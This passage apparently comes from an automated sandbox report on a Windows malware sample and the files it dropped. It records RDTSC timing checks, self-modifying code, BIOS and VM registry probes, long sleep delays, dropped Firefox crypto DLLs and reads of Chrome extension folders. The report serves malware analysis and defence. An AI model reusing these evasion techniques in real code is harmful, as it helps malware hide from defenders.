0x0000004f popad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51100B8 second address: 51100BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51100BE second address: 51100D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, 9BC8h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51100D0 second address: 51100E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51100E8 second address: 51100EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5170D06 second address: 5170D1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5170D1B second address: 5170DD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC9F53C6A87h 0x00000009 sbb ax, 9CCEh 0x0000000e jmp 00007FC9F53C6A89h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push esi 0x00000018 jmp 00007FC9F53C6A7Ah 0x0000001d mov dword ptr [esp], ebp 0x00000020 pushad 0x00000021 mov edi, eax 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 jmp 00007FC9F53C6A7Fh 0x0000002b push dword ptr [ebp+0Ch] 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FC9F53C6A84h 0x00000035 xor ecx, 06B11AD8h 0x0000003b jmp 00007FC9F53C6A7Bh 0x00000040 popfd 0x00000041 pushad 0x00000042 mov cx, 0C25h 0x00000046 mov ebx, eax 0x00000048 popad 0x00000049 popad 0x0000004a push dword ptr [ebp+08h] 0x0000004d pushad 0x0000004e mov ecx, 010907D9h 0x00000053 movzx eax, dx 0x00000056 popad 0x00000057 call 00007FC9F53C6A79h 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FC9F53C6A7Ch 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5170DD3 second address: 5170E0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dl, 19h 0x0000000d push esi 0x0000000e mov edi, 1E39BF62h 0x00000013 pop edx 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a jmp 00007FC9F53DFD5Fh 0x0000001f movzx esi, di 0x00000022 popad 0x00000023 mov eax, dword ptr [eax] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5170E0E second address: 5170E14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5170E14 second address: 5170E2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53DFD65h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120673 second address: 512068B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53C6A84h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 512068B second address: 51206A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FC9F53DFD5Eh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51206A9 second address: 51206AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51206AD second address: 51206B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51206B3 second address: 51206D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 movzx eax, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC9F53C6A84h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51206D6 second address: 5120709 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 51519FE4h 0x00000008 jmp 00007FC9F53DFD5Dh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push FFFFFFFEh 0x00000012 jmp 00007FC9F53DFD5Eh 0x00000017 push 70A2E463h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120709 second address: 5120723 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120723 second address: 512075F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC9F53DFD61h 0x00000009 add cx, CAE6h 0x0000000e jmp 00007FC9F53DFD61h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xor dword ptr [esp], 065A247Bh 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 mov di, ax 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 512075F second address: 51207A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FC9F53C6A81h 0x0000000a sbb al, FFFFFFF6h 0x0000000d jmp 00007FC9F53C6A81h 0x00000012 popfd 0x00000013 popad 0x00000014 call 00007FC9F53C6A79h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FC9F53C6A7Dh 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51207A3 second address: 5120865 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC9F53DFD61h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jmp 00007FC9F53DFD67h 0x00000019 pushfd 0x0000001a jmp 00007FC9F53DFD68h 0x0000001f jmp 00007FC9F53DFD65h 0x00000024 popfd 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 jmp 00007FC9F53DFD61h 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 call 00007FC9F53DFD5Ah 0x00000039 pop eax 0x0000003a pushfd 0x0000003b jmp 00007FC9F53DFD5Bh 0x00000040 adc ch, FFFFFFAEh 0x00000043 jmp 00007FC9F53DFD69h 0x00000048 popfd 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120865 second address: 512086B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 512086B second address: 5120917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a call 00007FC9F53DFD65h 0x0000000f mov edx, esi 0x00000011 pop esi 0x00000012 pushfd 0x00000013 jmp 00007FC9F53DFD5Dh 0x00000018 sub ch, 00000046h 0x0000001b jmp 00007FC9F53DFD61h 0x00000020 popfd 0x00000021 popad 0x00000022 mov eax, dword ptr fs:[00000000h] 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FC9F53DFD5Ch 0x0000002f sub si, 5BE8h 0x00000034 jmp 00007FC9F53DFD5Bh 0x00000039 popfd 0x0000003a pushfd 0x0000003b jmp 00007FC9F53DFD68h 0x00000040 sub cx, EE48h 0x00000045 jmp 00007FC9F53DFD5Bh 0x0000004a popfd 0x0000004b popad 0x0000004c nop 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FC9F53DFD62h 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120917 second address: 51209BC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC9F53C6A82h 0x00000008 or eax, 1F8513D8h 0x0000000e jmp 00007FC9F53C6A7Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov ebx, esi 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FC9F53C6A7Bh 0x00000021 or cx, 269Eh 0x00000026 jmp 00007FC9F53C6A89h 0x0000002b popfd 0x0000002c mov eax, 55D21A67h 0x00000031 popad 0x00000032 nop 0x00000033 jmp 00007FC9F53C6A7Ah 0x00000038 sub esp, 1Ch 0x0000003b pushad 0x0000003c mov edx, 792BA2B0h 0x00000041 popad 0x00000042 push esi 0x00000043 pushad 0x00000044 pushfd 0x00000045 jmp 00007FC9F53C6A82h 0x0000004a sub cl, FFFFFFF8h 0x0000004d jmp 00007FC9F53C6A7Bh 0x00000052 popfd 0x00000053 mov ah, 40h 0x00000055 popad 0x00000056 mov dword ptr [esp], ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c mov bx, cx 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 51209BC second address: 5120A01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC9F53DFD5Dh 0x00000013 and ecx, 6D5250F6h 0x00000019 jmp 00007FC9F53DFD61h 0x0000001e popfd 0x0000001f mov edi, ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120A01 second address: 5120A69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC9F53C6A87h 0x00000011 or ax, D6DEh 0x00000016 jmp 00007FC9F53C6A89h 0x0000001b popfd 0x0000001c mov cx, 1DA7h 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FC9F53C6A84h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120A69 second address: 5120A6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120A6F second address: 5120AA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FC9F53C6A80h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC9F53C6A7Eh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120AA3 second address: 5120AF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FC9F53DFD66h 0x0000000f mov eax, dword ptr [76FAB370h] 0x00000014 jmp 00007FC9F53DFD60h 0x00000019 xor dword ptr [ebp-08h], eax 0x0000001c jmp 00007FC9F53DFD60h 0x00000021 xor eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120AF9 second address: 5120AFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120AFD second address: 5120B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120B01 second address: 5120B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: 5120B07 second address: 5120B0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Special instruction interceptor: First address: B0E9B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Special instruction interceptor: First address: CBAEAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Special instruction interceptor: First address: CE26C7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Special instruction interceptor: First address: D47A4F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 35E9B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 50AEAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 5326C7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 597A4F instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe

Code function: 7_2_05170DC5 rdtsc

7_2_05170DC5

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Window / User API: threadDelayed 929	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 1964	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 3419	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 407	Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe TID: 6848	Thread sleep count: 929 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7476	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7476	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7480	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7480	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7440	Thread sleep count: 407 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7440	Thread sleep time: -12210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7460	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7460	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7468	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7556	Thread sleep time: -720000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7464	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7464	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 7440	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe TID: 7624	Thread sleep count: 52 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Code function: 0_2_6C55C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C55C930

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
